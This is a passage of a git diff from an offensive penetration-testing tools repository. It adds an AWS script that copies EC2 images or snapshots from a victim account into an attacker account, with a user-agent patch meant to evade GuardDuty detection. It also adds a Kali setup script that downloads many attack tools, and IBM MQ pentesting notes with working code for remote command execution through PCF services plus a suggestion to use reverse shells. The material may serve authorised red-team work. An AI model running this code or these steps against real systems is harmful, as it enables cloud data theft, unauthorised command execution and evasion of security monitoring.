args.volume_id + config['attach-instance-id'] = args.attach_instance_id + config['availability-zone'] = args.availability_zone + else: + Logger.fatal('--volume-id and --attach-instance-id parameters are required for this to work.') + + if not args.region: + Logger.fatal("Please provide AWS region to operate in.") + + if args.profile and (args.access_key or args.secret_key or args.token): + Logger.fatal("There should only be used either profile name or raw credentials for Attacker's AWS keys!") + + if args.victim_profile and (args.victim_access_key or args.victim_secret_key or args.victim_token): + Logger.fatal("There should only be used either profile name or raw credentials for Victim's AWS keys!") + + if args.profile: + config['attacker']['profile'] = args.profile + Logger.info(f"Using attacker's profile: {args.profile}") + elif args.access_key and args.secret_key: + config['attacker']['access-key'] = args.access_key + config['attacker']['secret-key'] = args.secret_key + config['attacker']['token'] = args.token + Logger.info(f"Using passed Attacker's AWS credentials: ******{args.access_key[-6:]}") + else: + Logger.fatal("Both access key and secret key must be specified for Attacker's AWS credentials if profile was not used!") + + if args.victim_profile: + config['victim']['profile'] = args.victim_profile + Logger.info(f"Using victim's profile: {args.victim_profile}") + elif args.victim_access_key and args.victim_secret_key: + config['victim']['access-key'] = args.victim_access_key + config['victim']['secret-key'] = args.victim_secret_key + config['victim']['token'] = args.victim_token + Logger.info(f"Using passed Victim's AWS credentials: ******{args.victim_access_key[-6:]}") + else: + Logger.fatal("Both access key and secret key must be specified for Victim's AWS credentials if profile was not used!") + + return args + +def monkeyPatchBotocoreUserAgent(): + ''' + This is to avoid triggering GuardDuty 'PenTest:IAMUser/KaliLinux' alerts + Source: + https://www.thesubtlety.com/post/patching-boto3-useragent/ + + ''' + import sys + import boto3 + import botocore + + try: + from _pytest.monkeypatch import MonkeyPatch + except (ImportError, ModuleNotFoundError) as e: + print('[!] Please install "pytest" first: pip3 install pytest') + print('\tthis will be used to patch-up boto3 library to avoid GuardDuty Kali detection') + sys.exit(0) + + monkeypatch = MonkeyPatch() + def my_user_agent(self): + return "Boto3/1.9.89 Python/2.7.12 Linux/4.2.0-42-generic" + + monkeypatch.setattr(botocore.session.Session, 'user_agent', my_user_agent) + +def main(argv): + opts = parseOptions(argv) + if not opts: + Logger.err('Options parsing failed.') + return False + + monkeyPatchBotocoreUserAgent() + + exp = ExfiltrateEC2( + opts.region, + config['attacker'], + config['victim'], + ) + + if opts.method == 'createimage': + Logger.info("Abusing ec2:CreateImage...") + exp.create_image(opts.instance_id, opts.image_name, opts.image_desc) + + elif opts.method == 'createsnapshot': + Logger.out("Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...\n") + exp.create_snapshot(opts.attach_instance_id, opts.volume_id, opts.availability_zone) + + else: + Logger.fatal(f"Unknown method specified: {opts.method}") + +if __name__ == '__main__': + main(sys.argv) diff --git a/clouds/aws/find-exposed-resources.sh b/clouds/aws/find-exposed-resources.sh new file mode 100755 index 0000000..f92a90b --- /dev/null +++ b/clouds/aws/find-exposed-resources.sh @@ -0,0 +1,105 @@ +#!/bin/bash +# +# This script attempts quickly enumerate some of the exposed resources +# available given a set of AWS credentials. +# Based on excellent work of Scott Piper: +# https://duo.com/blog/beyond-s3-exposed-resources-on-aws +# + +if [ $# -lt 1 ]; then + echo "Usage: ./find-exposed-resources.sh [region]" + echo "" + echo "If region is not specified, will enumerate all regions." + exit 1 +fi + +PROFILE=$1 +REGION= + +if [[ "$2" != "" ]]; then + REGION="$2" +fi + +trap ctrl_c INT + +function ctrl_c() { + echo "[!] User interrupted script execution." + exit 1 +} + +function _aws() { + if [[ "$REGION" != "" ]]; then + #echo "aws --region $REGION --profile $PROFILE $@ --no-paginate" + aws --region $REGION --profile $PROFILE $@ --no-paginate + else + #echo "aws --profile $PROFILE $@ --no-paginate" + aws --profile $PROFILE $@ --no-paginate + fi +} + +function ebs_snapshots() { + out=$(_aws ec2 describe-snapshots --owner-id self --restorable-by-user-ids all) + if ! echo "$out" | grep -q '": \[\]'; then + echo "---[ Public EBS Snapshots" + echo "$out" + echo + fi +} + +function rds_snapshots() { + out=$(_aws rds describe-db-snapshots --snapshot-type public) + if ! echo "$out" | grep -q '": \[\]'; then + echo "---[ Public RDS Snapshots" + echo "$out" + echo + fi +} + +function ami_images() { + out=$(_aws ec2 describe-images --owners self --executable-users all) + if ! echo "$out" | grep -q '": \[\]'; then + echo "---[ Public RDS Snapshots" + echo "$out" + echo + fi +} + +function s3_buckets() { + echo "---[ Public S3 Buckets" + for bucket in $(_aws s3api list-buckets --query 'Buckets[*].Name' --output text) + do + pub=$(_aws s3api get-bucket-policy-status --bucket $bucket --query 'PolicyStatus.IsPublic' 2> /dev/null || echo 'false') + echo -n "IsPublic:" + if [[ "$pub" == "true" ]]; then + echo -en "\e[91m" + else + echo -en "\e[34m" + fi + echo -e "$pub\e[39m - Bucket: \e[93m$bucket\e[39m" + done + echo +} + +regions=$(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text) + +if [[ "$REGION" == "" ]]; then + for region in ${regions[@]} + do + REGION="$region" + echo "=================== Region: $region ======================" + echo + ebs_snapshots + rds_snapshots + ami_images + done + echo +else + echo "=================== Region: $REGION ======================" + echo + ebs_snapshots + rds_snapshots + ami_images + echo +fi + +s3_buckets diff --git a/linux/README.md b/linux/README.md index 2377da8..872f89a 100644 --- a/linux/README.md +++ b/linux/README.md @@ -6,6 +6,6 @@ $ ./find-nessus-plugin.sh 62940 /opt/nessus/lib/nessus/plugins/iis_ftp7_ms12-073.nasl ``` -- **`openvas-automate.sh`** - OpenVAS automation script. ([gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7)) +- **`openvas-automate.sh`** - A simple OpenVAS scanner automation script. If you want to use your custom defined scan type - you'll need to edit script's code, especially `targets` array and `if` decision statement in lines 111-137. [gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7) - **`prepare-kali.sh`** - A script that supplies fresh Kali installation with set of initial packages, configurations, wordlists (`/root/data`) and a big repository of tools I've found useful (located in `/root/tools`). ([gist](https://gist.github.com/mgeeky/39d1681e44804f089d1553cc7597e628)) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index bd01e6c..8a120d5 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -1,4 +1,20 @@ #!/bin/bash +# +# This is script intended for provisioning vanilla Kali installation with a bunch +# of additional packages, tools and dictionaries. Basically useful for not-so-quick (+/- 4hours) +# provisioning of Kali distro intended for some heavy pentesting purposes. +# +# Assumptions made: +# - script must be totally non-interactive, capable of provisioning Kali system without any +# further user interaction (especially true for apt-get Y/n prompts) +# - issues with tool installation/setup are acceptable, after all need arise - the pentester +# will have to carry off the setup himself +# - issues with unavailable repositories/packages are NOT acceptable. I need to either take care of +# keeping tools list more or less up-to-date, or to remove tool's pull down entirely from the script +# - only tools that I've found useful at least once are landing in this script. +# +# Mariusz B., '18-'19 +# # Well, entire Kali installation assume that we are normally working as root on our Kali. # I know that assumption sucks to its root, but I wanted to avoid every "permission denied" issue and I was too lazy @@ -24,11 +40,12 @@ install_dotnet() { } install_docker() { - curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt- - echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list - apt update - apt-get remove -y docker docker-engine docker.io - apt-get install -y docker-ce + #curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt- + #echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list + #apt update + #apt-get remove -y docker docker-engine docker.io + #apt-get install -y docker-ce + apt install -y docker docker-compose docker run hello-world } @@ -42,11 +59,14 @@ configure_neo4j() { curl -H "Content-Type: application/json" -X POST -d '{"password":"neo4jj"}' -u neo4j:neo4j http://localhost:7474/user/neo4j/password } -apt update ; apt upgrade -y +export DEBIAN_FRONTEND=noninteractive -apt install -y git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang python-software-properties neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient +apt-get update ; apt upgrade -y +apt-get update --fix-missing -pip3 install virtualenv awscli wheel boto3 botocore btlejack +apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar libnfc-bin autoconf libnfc-dev tox libmariadb-dev python-m2crypto + +pip3 install virtualenv awscli wheel boto3 botocore btlejack six pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html install_dotnet @@ -77,12 +97,14 @@ mkdir {bruteforce,clouds,devops,deserialization,exploitdev,windows,redteam,recon git_clone https://github.com/mgeeky/Penetration-Testing-Tools +# ======================================================================================= pushd bruteforce git_clone https://github.com/lanjelot/patator.git git_clone https://github.com/galkan/crowbar.git git clone --depth=1 --branch=master https://www.github.com/landgrey/pydictor.git && chmod 755 pydictor/pydictor.py popd +# ======================================================================================= pushd clouds mkdir {aws,azure,gcp,kubernetes} @@ -99,7 +121,9 @@ cd aws git_clone https://github.com/RhinoSecurityLabs/pacu.git ; cd pacu ; bash install.sh ; cd .. git_clone https://github.com/Alfresco/prowler.git git_clone https://github.com/sa7mon/S3Scanner.git +git_clone https://github.com/percolate/ec2-security-groups-dumper.git git_clone https://github.com/ankane/s3tk.git +git_clone https://github.com/andresriancho/enumerate-iam git_clone https://github.com/arkadiyt/aws_public_ips.git git_clone go get github.com/haccer/subjack.git git_clone https://github.com/Skyscanner/lambdaguard.git @@ -131,6 +155,7 @@ git_clone https://github.com/carnal0wnage/weirdAAL.git ; cd weirdAAL ; apt-get i cd .. popd +# ======================================================================================= pushd deserialization git_clone https://github.com/matthiaskaiser/jmet.git git_clone https://github.com/joaomatosf/JavaDeserH2HC.git @@ -141,12 +166,14 @@ git_clone https://github.com/joaomatosf/jexboss.git wget 'https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar' -O ysoserial/ysoserial.jar popd +# ======================================================================================= pushd devops git clone --recurse-submodules -b develop https://github.com/torque59/Garfield.git git_clone https://github.com/wavestone-cdt/hadoop-attack-library.git wget https://raw.githubusercontent.com/n0tty/Random-Hacking-Scripts/master/pwnsible.sh ; chmod +x pwnsible.sh popd +# ======================================================================================= pushd exploitdev git_clone https://github.com/sashs/Ropper.git git_clone https://github.com/longld/peda.git @@ -155,6 +182,7 @@ git_clone https://github.com/packz/ropeme.git git_clone https://github.com/mgeeky/Exploit-Development-Tools.git popd +# ======================================================================================= pushd hardware git_clone https://github.com/DrSchottky/mfcuk.git cd mfcuk @@ -170,10 +198,11 @@ git_clone https://github.com/nfc-tools/miLazyCracker.git cd miLazyCracker wget http://crapto1.netgarage.org/craptev1-v1.1.tar.xz wget http://crapto1.netgarage.org/crapto1-v3.3.tar.xz +sed -ir 's/apt-get install/apt-get install -y/' miLazyCrackerFreshInstall.sh ./miLazyCrackerFreshInstall.sh cd .. git_clone https://github.com/RfidResearchGroup/proxmark3.git -apt-get remove modemmanager +apt-get remove -y modemmanager cd proxmark3 make clean && make -j8 all cd .. @@ -186,6 +215,7 @@ npm install -g gattacker git_clone https://github.com/virtualabs/btlejack.git popd +# ======================================================================================= pushd infra git_clone https://github.com/bonsaiviking/NfSpy.git git_clone https://github.com/lgandx/Responder.git @@ -194,6 +224,13 @@ git_clone https://github.com/fox-it/mitm6.git git_clone https://github.com/lgandx/PCredz.git git_clone https://github.com/DanMcInerney/net-creds.git git_clone https://github.com/rofl0r/proxychains-ng.git +git_clone https://github.com/cisco-config-analysis-tool/ccat.git +cd ccat +wget https://github.com/cisco-config-analysis-tool/ccat/releases/download/v1.01/ccat_v1.01.rar +mkdir ccat-release +unrar x ccat_v1.01.rar ccat-release +rm ccat_v1.01.rar +cd .. git_clone https://github.com/brav0hax/smbexec.git git_clone https://github.com/inquisb/icmpsh.git git_clone https://github.com/tomac/yersinia.git @@ -204,6 +241,7 @@ git_clone https://github.com/SpiderLabs/ikeforce.git git_clone https://github.com/EnableSecurity/sipvicious.git popd +# ======================================================================================= pushd fuzzers git_clone https://github.com/googleprojectzero/domato.git wget http://www.immunitysec.com/downloads/SPIKE2.9.tgz ; tar -xvzf SPIKE2.9.tgz ; rm SPIKE2.9.tgz @@ -226,11 +264,13 @@ git_clone https://github.com/OpenRCE/sulley.git git_clone https://github.com/renatahodovan/grammarinator.git popd +# ======================================================================================= pushd linux git_clone https://github.com/Arr0way/linux-local-enumeration-script.git git_clone https://github.com/CISOfy/lynis.git popd +# ======================================================================================= pushd misc git_clone https://github.com/nullsecuritynet/tools.git git_clone https://github.com/leebaird/discover.git @@ -242,10 +282,12 @@ git_clone https://github.com/wireghoul/graudit.git git_clone https://github.com/netbiosX/Checklists.git popd +# ======================================================================================= pushd privesc git_clone https://github.com/AusJock/Privilege-Escalation.git popd +# ======================================================================================= pushd recon git_clone https://github.com/FortyNorthSecurity/EyeWitness.git git_clone https://github.com/OWASP/Amass.git @@ -253,7 +295,7 @@ git_clone https://github.com/michenriksen/gitrob.git git_clone https://github.com/kpcyrd/sn0int.git git_clone https://github.com/darkoperator/dnsrecon.git git_clone https://github.com/smicallef/spiderfoot.git -git_clone https://bitbucket.org/LaNMaSteR53/recon-ng.git ; cd recon-ng ; pip install -r REQUIREMENTS ; cd .. +git_clone https://github.com/lanmaster53/recon-ng.git ; cd recon-ng ; pip install -r REQUIREMENTS ; cd .. git_clone https://github.com/infosec-au/altdns.git git_clone https://github.com/jhaddix/domain.git mv domain jhaddix-enumall @@ -276,6 +318,7 @@ git_clone https://github.com/michenriksen/aquatone.git git_clone https://github.com/dxa4481/truffleHog.git popd +# ======================================================================================= pushd redteam git_clone https://github.com/jaredhaight/PSAttack.git cd PSAttack @@ -300,17 +343,24 @@ git_clone https://github.com/sensepost/ruler.git git_clone https://github.com/Veil-Framework/Veil.git git_clone https://github.com/Veil-Framework/Veil-Evasion.git git_clone https://github.com/pentestgeek/phishing-frenzy.git +git_clone https://github.com/byt3bl33d3r/SprayingToolkit.git git_clone https://github.com/trustedsec/social-engineer-toolkit.git git_clone https://github.com/bluscreenofjeff/Malleable-C2-Randomizer.git +git_clone https://github.com/sensepost/ruler.git +cd ruler +wget https://github.com/sensepost/ruler/releases/latest/download/ruler-win64.exe +wget https://github.com/sensepost/ruler/releases/latest/download/ruler-linux32.exe +wget https://github.com/sensepost/ruler/releases/latest/download/ruler-linux64.exe +cd .. git_clone https://github.com/rsmudge/Malleable-C2-Profiles.git git_clone https://github.com/sense-of-security/ADRecon.git git_clone https://github.com/threatexpress/malleable-c2.git git_clone https://github.com/ropnop/kerbrute.git cd kerbrute -wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_windows_amd64.exe -wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_windows_386.exe -wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_linux_amd64 -wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_linux_386 +wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_windows_amd64.exe +wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_windows_386.exe +wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 +wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_386 chmod +x kerbrute_* cd .. git_clone https://github.com/Raikia/CredNinja.git @@ -354,9 +404,9 @@ wget https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/ cd .. git_clone https://github.com/BloodHoundAD/BloodHound.git cd BloodHound -wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-linux-x64.zip -wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-win32-x64.zip -wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-win32-ia32.zip +wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-linux-x64.zip +wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-win32-x64.zip +wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-win32-ia32.zip for a in *.zip ; do unzip -d . $a rm $a @@ -383,18 +433,24 @@ git_clone https://github.com/gentilkiwi/mimikatz.git git_clone https://github.com/brav0hax/smbexec.git git_clone https://github.com/SecureAuthCorp/impacket.git cd impacket ; mkdir binaries ; cd binaries ; -wget https://github.com/ropnop/impacket_static_binaries/releases/download/0.9.19-binaries/impacket_windows_binaries.zip +wget https://github.com/ropnop/impacket_static_binaries/releases/latest/download/impacket_windows_binaries.zip unzip -d . impacket_windows_binaries.zip rm impacket_windows_binaries.zip -wget https://github.com/ropnop/impacket_static_binaries/releases/download/0.9.19-binaries/impacket_linux_binaries.tar.gz +wget https://github.com/ropnop/impacket_static_binaries/releases/latest/download/impacket_linux_binaries.tar.gz tar xzf impacket_linux_binaries.tar.gz rm impacket_linux_binaries.tar.gz python setup.py install cd ../../ git_clone https://github.com/rasta-mouse/Watson.git +git_clone https://github.com/pimps/wsuxploit.git +cd wsuxploit +git_clone https://github.com/ctxis/wsuspect-proxy.git +cd .. + popd +# ======================================================================================= pushd reversing wget https://ghidra-sre.org/ghidra_9.0_PUBLIC_20190228.zip -O ghidra.zip ; unzip -d . ghidra.zip ; rm ghidra.zip git_clone https://github.com/longld/peda.git ; echo "source $ROOT_DIR/tools/reversing/peda/peda.py" >> $ROOT_DIR/.gdbinit ; @@ -402,22 +458,26 @@ git_clone https://github.com/hugsy/gef.git git_clone https://github.com/radare/radare2.git ; cd radare2 ; sys/install.sh ; r2pm init ; r2pm update ; pip install r2pipe ; cd .. popd +# ======================================================================================= pushd shells git_clone https://github.com/BlackArch/webshells.git git_clone https://github.com/Ne0nd0g/merlin.git popd +# ======================================================================================= pushd sourceaudit git_clone https://github.com/presidentbeef/brakeman.git git_clone https://github.com/wireghoul/graudit.git popd +# ======================================================================================= pushd ssl git_clone https://github.com/rbsec/sslscan.git git clone --depth 1 https://github.com/drwetter/testssl.sh.git git_clone https://github.com/tomato42/tlsfuzzer.git popd +# ======================================================================================= pushd web git_clone https://github.com/mgeeky/tomcatWarDeployer.git git_clone https://github.com/codingo/NoSQLMap.git @@ -426,10 +486,9 @@ git_clone https://github.com/droope/droopescan.git git_clone https://github.com/enjoiz/XXEinjector.git git_clone https://github.com/breenmachine/httpscreenshot.git git_clone https://github.com/beefproject/beef/ ; pushd beef ; yes | ./install ; popd -git_clone https://github.com/mitmproxy/mitmproxy.git git_clone https://github.com/sqlmapproject/sqlmap.git mkdir aquatone ; cd aquatone -wget https://github.com/michenriksen/aquatone/releases/download/v1.6.0/aquatone_linux_amd64_1.6.0.zip +wget https://github.com/michenriksen/aquatone/releases/latest/download/aquatone_linux_amd64_1.6.0.zip unzip -d . aquatone_linux_amd64_1.6.0.zip rm aquatone_linux_amd64_1.6.0.zip chmod +x aquatone @@ -461,6 +520,7 @@ git_clone https://github.com/NickstaDB/BaRMIe.git git_clone https://github.com/torque59/Nosql-Exploitation-Framework.git popd +# ======================================================================================= pushd windows git_clone https://github.com/M4ximuss/Powerless.git git_clone https://github.com/SecWiki/windows-kernel-exploits.git @@ -477,6 +537,7 @@ pyinstaller --onefile winpwnage.py cd .. popd +# ======================================================================================= pushd wireless git_clone https://github.com/brav0hax/easy-creds.git git_clone https://github.com/s0lst1c3/eaphammer.git ; cd eaphammer ; yes | ./kali-setup ; cd .. @@ -484,6 +545,7 @@ git_clone https://github.com/derv82/wifite2.git ; cd wifite2 ; python setup.py i popd +# ======================================================================================= # # Follow repos, collect 'requirements.txt' files and feed them into `pip install`. # We avoid the hassle of using virtualenv here and there. @@ -500,6 +562,8 @@ find . -name .git | while read line; do popd done +if ! grep -q "function killallbyname() {" $ROOT_DIR/.bashrc ; then + # Append some stuff to bashrc cat <<'EOF' >> $ROOT_DIR/.bashrc @@ -773,7 +837,10 @@ alias eslintjs='eslint --no-eslintrc -c ~/.eslintrc.js .' alias unblock_dir='sudo chmod -R 755' alias block_dir='sudo chmod -R 700' -alias recursivegitpull='find . -mindepth 1 -maxdepth 1 -type d -print -exec git -C {} pull \;' +alias recursivegitpull='find . -name ".git" -type d -exec echo {} \; -exec git -C {}/.. pull \;' +alias gitclone='git clone --recurse-submodules' EOF sed -i -r "s:~/:$ROOT_DIR/:" $ROOT_DIR/.bashrc + +fi diff --git a/networks/IBM-MQ-Pentesting-notes.md b/networks/IBM-MQ-Pentesting-notes.md new file mode 100644 index 0000000..55f234e --- /dev/null +++ b/networks/IBM-MQ-Pentesting-notes.md @@ -0,0 +1,199 @@ +# Practical IBM MQ Penetration Testing notes + +In order to interact with IBM MQ in any way, we need to install IBM MQ Client libraries, available only on IBM website. Account registration will be required to get hands on them. + +### Step 1: Installing prerequisities + +**Pre-requisites: IBM MQ Client** + +1. Download the [IBM MQ V9.0.0.4 LTS Clients](http://ibm.biz/mq9004clients) - the file should be named: `9.0.0.4-IBM-MQC-LinuxX64.tar.gz` (_9.0.0.4 Client install image for IBM MQ on Linux X86-64_) - size: 397MB +2. Extract it to whatever directory. +3. Install debian/Kali/Ubuntu pre-requisities `apt install -y python-dev rpm` +4. Accept the license: `sudo ./mqlicense.sh -accept` or `sudo ./mqlicense.sh -text_only` +5. Do the following: + +``` +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm +``` + +### **Step 2: Pymqi & punch-q** + +Having properly installed all of the MQ Client dependencies, we can now proceed to installing `pymqi` and `punch-q`: + +1. Clone the punch-q repo: `git clone https://github.com/sensepost/punch-q` +2. Install them: +``` +# pip install pymqi +# pip install -r requirements.txt +# python setup.py install +``` + +3. Before using `punch-q` specify MQ libraries path: + +Either globally: +``` +# sudo echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf +# sudo ldconfig -v +``` + +or temporarily: +``` +# export LD_LIBRARY_PATH=/opt/mqm/lib64 +``` + +**One stop shop script installing IBM MQ Client libraries** + +Assuming we have `9.0.0.4-IBM-MQC-LinuxX64.tar.gz` file in our current directory, following script applies on Kali x64 linux: +``` +apt install -y python-dev rpm pcregrep +tar -xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz +pcregrep -vM '(?:echo "\s+This package was built for \$\{BUILD_PLATFORM\}")\n\s*exit 1' mqlicense.sh > /tmp/mqlicense.sh +cat /tmp/mqlicense.sh > mqlicense.sh +rm /tmp/mqlicense.sh +yes | sudo ./mqlicense.sh -accept +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm +pip install pymqi +echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf +sudo ldconfig -v +ls | grep -v 9.0.0.4-IBM-MQC-LinuxX64.tar.gz | xargs rm -rf +git clone https://github.com/sensepost/punch-q +cd punch-q +pip install -r requirements.txt +python setup.py install +``` + +## Step 2: Handy notes on where to focus + +**Internally:** + +Having found several running processes with names such as: +`amqsvc.exe`, `amqxssvn.exe`, `amqrrmfa.exe`, `amqmtbrn.exe` + +These processes will be running impersonated as highly privileged service user name (according to the usernames table available below, at 2) . These users will act as local SAM users, which means we might be able to dump their NTLM passwords and crack them or even change them to whatever value we wish to facilitate successful IBM MQ server authentication. + +**Externally:** + +By using `punch-mq` we can: +1) Discover/Brute-Force available CHANNELS, +2) Enumerate usernames (valid UserId fields) +3) Enumerate Queue Manager names +4) List available Channels or Queues as an authenticated user. +5) PUT, GET, Dump, Save, Sniff messages given an existent QUEUE name, as an authenticated user +6) Issue OS Commands by the use of `PCFExecute` functionality + +In order to successfully authenticate to the IBM MQ server, we will need to have upfront following informatio prepared: +- Hostname/IP address +- TCP Port, typically `1414/tcp` +- Queue Manager name - easily obtained by the use of nmap scripts: `nmap -p 1414 -sV ` +- Channel name (can be one of the below listed), at first start with: `SYSTEM.ADMIN.SVRCONN` +- Username (list of default system usernames below) +- Password + +Incorrect access credentials will result in `pymqi` returning following response: +``` +pymqi.MQMIError: MQI Error. Comp: 2, Reason 2035: FAILED: MQRC_NOT_AUTHORIZED +``` + +### 1) Default channel names: + +_(in order to view system objects - click "Show System Objects" on upper right side of the MQ Explorer interface)_ + +``` +SYSTEM.ADMIN.SVRCONN +SYSTEM.AUTO.SVRCONN +SYSTEM.DEF.SVRCONN +SYSTEM.DEF.SERVER +SYSTEM.DEF.CLNTCONN +``` + +### 2) Default Userid's depending on target OS version: + +| OS Version | UserId | +|----------------|--------------| +| Linux/Unix/AIX | mqm | +| Windows | MUSR_MQADMIN | +| Other | mqadmin | + +### 5) Important Administration QUEUE names: + +``` +SYSTEM.ADMIN.COMMAND.QUEUE +SYSTEM.DEFAULT.MODEL.QUEUE +SYSTEM.AUTH.DATA.QUEUE +``` + +### 6) Remote Code Execution + +**6.1. Programmable Command Format (PCF) Services** + +Being authenticated to the Queue Manager and a corresponding channel, we might be able to execute PCF (_Programmable Command Format_) commands (on MQ v6+) that would give us OS command execution by the use a concept called _services_: +- `MQCMD_CREATE_SERVICE`, +- `MQCMD_START_SERVICE`, +- `MQCMD_STOP_SERVICE`, +- `MQCMD_DELETE_SERVICE` + +That holds true as long as our impersonated user has sufficient permissions within OAM (Object Authority Manager) to perform requested PCF operation on the relevant objects. + +Using `pymqi` or `punch-mq` this is as simple as invoking following code (source: [punch-mq](https://github.com/sensepost/punch-q/blob/master/libpunchq/cli.py) ): +``` + # create service + qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), + mqstate.username, mqstate.password) + + args = { + pymqi.CMQC.MQCA_SERVICE_NAME: service_name, + pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL, + pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND, + pymqi.CMQC.MQCA_SERVICE_START_COMMAND: str(cmd), + pymqi.CMQC.MQCA_SERVICE_START_ARGS: str(args) + } + pcf = pymqi.PCFExecute(qmgr) + pcf.MQCMD_CREATE_SERVICE(args) + + # start the service + args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name} + + pcf = pymqi.PCFExecute(qmgr) + pcf.MQCMD_START_SERVICE(args) + + # Giving the service some time to live + time.sleep(wait) + + # delete service + args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name} + + pcf = pymqi.PCFExecute(qmgr) + pcf.MQCMD_DELETE_SERVICE(args) + + qmgr.disconnect() +``` + +Incomming command will then be executed most likely as a root user. `punch-mq` does not implement any way of getting command's result back so we will have to go blindly here, preferably just using reverse-shell oneliner. + +If we wish to have our commands' results back, then more code will need to be added facilitating specification of output Queue where PCF should PUT it's results, then manual Queue read by the use of GET operation to retrieve OS command's outcome. Such a Queue could be created based on `SYSTEM.DEFAULT.MODEL.QUEUE` template. Martyn Ruks goes in details on that in his paper (ref: 1, page 24). + +**6.2. Use of Triggers** + +Martyn Ruks described (ref: 1, page 30) that we may also succeed invoking system commands by defining event triggers that would execute specified command as soon as preconfigured event fired up our malicious trigger. + + +## Additional sources + +1. [Martyn Ruks: WebSphere MQ Security. White Paper – Part 1](https://labs.f-secure.com/assets/141/original/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf) +2. [Martyn Ruks: MQ Jumping](https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) +3. [punch-q](https://github.com/sensepost/punch-q) +4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995) +5. [mini-reverse.ps1 script designed by @staaldraad](https://gist.github.com/mgeeky/fc11c9f227755a529eb607ed4d1742f9) + + + +## Additional sources + +1. [Martyn Ruks: WebSphere MQ Security. White Paper – Part 1](https://labs.f-secure.com/assets/141/original/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf) +2. [Martyn Ruks: MQ Jumping](https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) +3. [punch-q](https://github.com/sensepost/punch-q) +4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995) diff --git a/networks/README.md b/networks/README.md index 2b4877f..c517f1f 100644 --- a/networks/README.md +++ b/networks/README.md @@ -112,12 +112,16 @@ Hostname: 10.10.10.9 - **`HSRPFlooder.py`** - Proof of concept _HSRP Coup State: Active_ flooder, trying to provoke Denial of Service within LAN segment due to tunnelling packets to the non-existent gateway that won active-router election. Not working 